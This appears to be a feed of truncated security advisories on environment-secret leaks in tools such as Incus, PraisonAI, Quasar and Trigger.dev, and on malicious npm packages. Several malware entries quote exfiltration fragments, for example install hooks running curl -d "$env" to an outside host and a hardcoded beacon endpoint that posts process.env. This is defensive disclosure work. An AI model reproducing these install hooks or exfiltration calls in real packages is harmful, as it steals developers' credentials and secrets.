CVE-2026-115373

A flaw was found in Incus. A missing authorization check on the operations endpoint allows an authenticated attacker with restricted project access to view operations belonging to other projects. By querying the endpoint with a known operation identifier, the attacker can access sensitive...

MAL-2026-17727 Malicious code in @galicia-toolkit-nestjs-20/paas (npm)

@galicia-toolkit-nestjs-20/paas is a dependency confusion package published to npm on 2026-10-09 by the account s4yhii, targeting the internal @galicia-toolkit- / @brick-v2 package namespaces with inflated versions e.g. 999.0.x. Early versions resolve ..dc.oob.s4yhii.com via DNS to beacon the...

EUVD-2026-43182

PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets...

PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

Summary CodeAgent.executepython executes LLM-generated Python code in a subprocess with the complete parent-process environment os.environ.copy, zero AST validation, zero import restrictions, and no sandbox enforcement — even when CodeConfigsandbox=True is explicitly set. This allows an attacker...

GHSA-2XV2-W8CQ-5GXW PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

Summary CodeAgent.executepython executes LLM-generated Python code in a subprocess with the complete parent-process environment os.environ.copy, zero AST validation, zero import restrictions, and no sandbox enforcement — even when CodeConfigsandbox=True is explicitly set. This allows an attacker...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

EUVD-2026-93571

Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its escape is bypassable...

CVE-2026-106499

A flaw was found in the Backstage Scaffolder backend. In environments configured with default environment secrets, an authenticated attacker with permissions to create or modify templates can cause secret-derived values to be recorded in task logs. This issue leads to information disclosure,...

CVE-2026-106106

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

CVE-2026-106106

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

CVE-2026-106106: Improper Neutralization of Input During Web Page Generation

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

Malicious code in abbishal-poc (npm)

Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to reconstruct and execute curl -d "$env"...

Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...

MAL-2026-17545 Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...

Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values

Affected version: trigger.dev 4.5.3 4.5.6 was advertised by the CLI but was not tested. A staging dry-run executed with trigger.dev deploy --env staging --dry-run --log-level debug. The debug output logged the complete build-worker options object. Its envVars property contained unredacted values...

NPM: Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values

NPM: Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values vulnerability discovered by ? in WordPress Npm trigger.dev versions = 4.5.8...

MAL-2026-17292 Malicious code in @selfpentest/bin-confusion (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40a68543ca2674f2b90d89dd52516736791b7886d617c694d89dd3135e7499f3 package.json registers a bin entry named npm pointing at npm.js, deliberately colliding with the core npm CLI. Once this package is installed as a...

PT-2026-95706

Name of the Vulnerable Software and Affected Versions microsandbox versions prior to 0.5.10 Description The software serializes NetworkConfig secret values into the --network-config argument and passes per-sandbox secrets through repeated --env arguments within sdk/rust/lib/runtime/spawn.rs and...

Malicious code in concierge-sdk (npm)

Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working directory, and config/secret files .env, secrets.json,...

Malicious code in eth-crypto-utils (npm)

Source: amazon-inspector d4766af8f78c9d0a3836222bd3986232b5e49086285f88d93e5c3044e3b75600 On require of index.js, the package initiates an HTTPS POST to the hardcoded endpoint https://enjbyg3xk8l.x.pipedream.net/beacon carrying a JSON payload that includes the full process.env, os.hostname,...